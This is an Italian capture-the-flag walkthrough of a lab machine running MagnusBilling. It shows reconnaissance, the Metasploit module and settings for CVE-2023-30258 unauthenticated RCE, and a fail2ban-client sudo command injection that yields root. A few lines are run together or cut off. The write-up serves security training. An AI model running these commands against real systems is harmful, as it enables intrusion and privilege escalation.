
Una guida dettagliata dello sfruttamento di Billing room tramite CVE-2023-30258 e dell'escalation tramite configurazione errata di fail2ban
Scritto da: Aditya Bhatt | Contributore Open Source
In questo walkthrough, ci immergiamo completamente nella Stanza Billing, mostrando un'istanza vulnerabile di MagnusBilling, un succulento RCE non autenticato (CVE-2023-30258), e una misconfigurazione sudo di fail2ban che grida “rootami”.
Questa stanza combina magnificamente lo sfruttamento automatizzato con l'escalation creativa dei privilegi, offrendoci un assaggio pratico di difetti reali nascosti nel software di fatturazione VoIP. Andremo dalla Ricognizione Iniziale alla Root Shell con PoC completo, commenti e vibe 🗿.
Dopo aver distribuito la macchina, la prima cosa che ti colpisce come un firewall mal configurato:
http://<machine_IP>/mbilling/
Questa è la pagina di login di MagnusBilling. Questo da solo fa scattare campanelli d'allarme — sai che ti aspetta un bel gioco di CVE.
Iniziamo con la combo di ricognizione definitiva:
nmap -A -sV -p- 10.10.115.173
🧠 Risultati:
/mbilling/Successivamente, andiamo a tutto brute con Gobuster:
gobuster dir -u http://10.10.115.173/mbilling -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
gobuster dir -u http://10.10.115.173/ -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
🧠 Risultati:
Poi controlliamo il robots.txt del sito per qualcosa di piccante:
User-agent: *
Disallow: /mbilling/
Hmm… cercare di nasconderlo ci fa solo desiderare di più 😈
Un rapido test con netcat conferma che risponde con:
Response: Error
Message: Missing action in request
Il che conferma ulteriormente: il backend è MagnusBilling, e la porta è collegata ad Asterisk Call Manager. È ora di evocare le nostre arti oscure 🧙
Exploit: Esecuzione di codice remoto non autenticata in MagnusBilling Modulo:
exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
Avvia Metasploit:
msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
Poi controlla i requisiti:
show options
Poi imposta quanto segue:
set RHOSTS 10.10.115.173
set LHOST 10.17.88.138
run
Pochi secondi dopo… Boom. Abbiamo ottenuto una sessione Meterpreter!
shell
whoami ➤ asterisk
uname -a ➤ Linux Debian 6.1 x86_64
Provato a generare una shell TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Iniziamo a salire con:
cd ..
cd ..
Finché non troviamo:
cd /home/magnus
cat user.txt
Bello! Ma non abbiamo finito. Ci serve root, e Magnus ci sta sussurrando segreti.
Controlliamo cosa possiamo eseguire con sudo:
sudo -l
Risultato:
(ALL) NOPASSWD: /usr/bin/fail2ban-client
Ora questo è 🔥. Possiamo abusare di fail2ban-client per eseguire comandi come root usando le azioni di ban.
Riavvia fail2ban:
sudo /usr/bin/fail2ban-client restart
Poi inietta il comando per rubare la flag di root:
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"
Attiva il ban (e quindi il comando):
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
Poi:
cat /tmp/root.txt
Rootato. Come. Un. Boss. 🗿🔥
robots.txt e scava nelle porte strane.fail2ban-client) sono altrettanto pericolosi.Questa macchina è stato un bellissimo equilibrio tra sfruttamento automatizzato e creatività manuale post-sfruttamento. Dall'RCE di MagnusBilling al rooting via fail2ban, colpisce tutte le note giuste per la playlist di un pentester 🎧🎯
Che tu sia un principiante che cerca di migliorare o un guerriero esperto che colleziona flag — questa è una must-pwn.
Alla prossima volta, Rimani Pericoloso. Rimani Curioso. Rimani Maestoso. 🗿
| 🔎 Fase | 💥 Azione/Strumento Usato |
|---|
| Accesso Iniziale | Scoperto il portale /mbilling e la porta 5038 usando Nmap + Gobuster |
| Scoperta Ricognizione | MagnusBilling CMS + Asterisk Call Manager |
| Sfruttamento | CVE-2023-30258 via Metasploit → shell Meterpreter |
| Enumerazione | Trovato /home/magnus/user.txt |
| Escalation dei Privilegi | Abusato fail2ban-client sudo NOPASSWD → RCE come root |
| Flag Root | Recuperato /root/root.txt tramite iniezione payload fail2ban |